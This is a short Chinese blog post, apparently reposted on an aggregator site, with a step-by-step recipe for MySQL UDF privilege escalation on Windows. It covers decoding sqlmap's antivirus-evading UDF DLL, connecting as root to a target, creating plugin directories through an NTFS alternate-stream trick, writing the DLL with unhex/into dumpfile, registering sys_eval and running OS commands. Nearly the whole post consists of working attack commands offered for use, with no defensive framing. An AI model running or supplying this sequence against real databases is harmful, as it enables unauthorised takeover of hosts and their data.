MySQL UDF提权获取主机控制权
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL UDF提权获取主机控制权相关的知识,希望对你有一定的参考价值。
UDF(User defined function)是mysql的一个拓展接口,用来扩展MySQL的功能。在具备MySQL管理员访问权限的条件下,可利用该特性进行提权,获取所在主机的控制权。下面以windows主机为例,给出具体的步骤:
1、python clock.py -d -i lib_mysqludfsys.dll
此步是获取攻击用的UDF dll。首先要安装sqlmap,然后运行上述命令即可得到解码之后的UDF dll。(sqlmap对其进行编码是为了免杀)
2、mysql -h target_ip -uroot -p
与目标MySQL建立连接
3、select version();
查看MySQL版本
4、select @@basedir;
查看MySQL的安装目录。假设为 c:\program files\mysql\mysql server 5.1
5、select @@plugin_dir;
查看MySQL的插件目录。假设为c:\program files\mysql\mysql server 5.1\plugin
6、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION‘;
创建lib目录
7、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION‘;
创建plugin目录
8、select unhex(‘hex_of_udf.dll‘) into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";
创建udf.dll,上述命令中hex_of_udf.dll是udf.dll的十六进制文本,可用winhex等编辑软件获得
9、create function sys_eval returns string soname ‘udf.dll‘;
创建函数
10、select sys_eval(‘whoami‘);
执行shell命令,表明以获取操作系统的控制权
以上是关于MySQL UDF提权获取主机控制权的主要内容,如果未能解决你的问题,请参考以下文章
Mysql提权-基于Mysql的UDF提权(Windows系统)1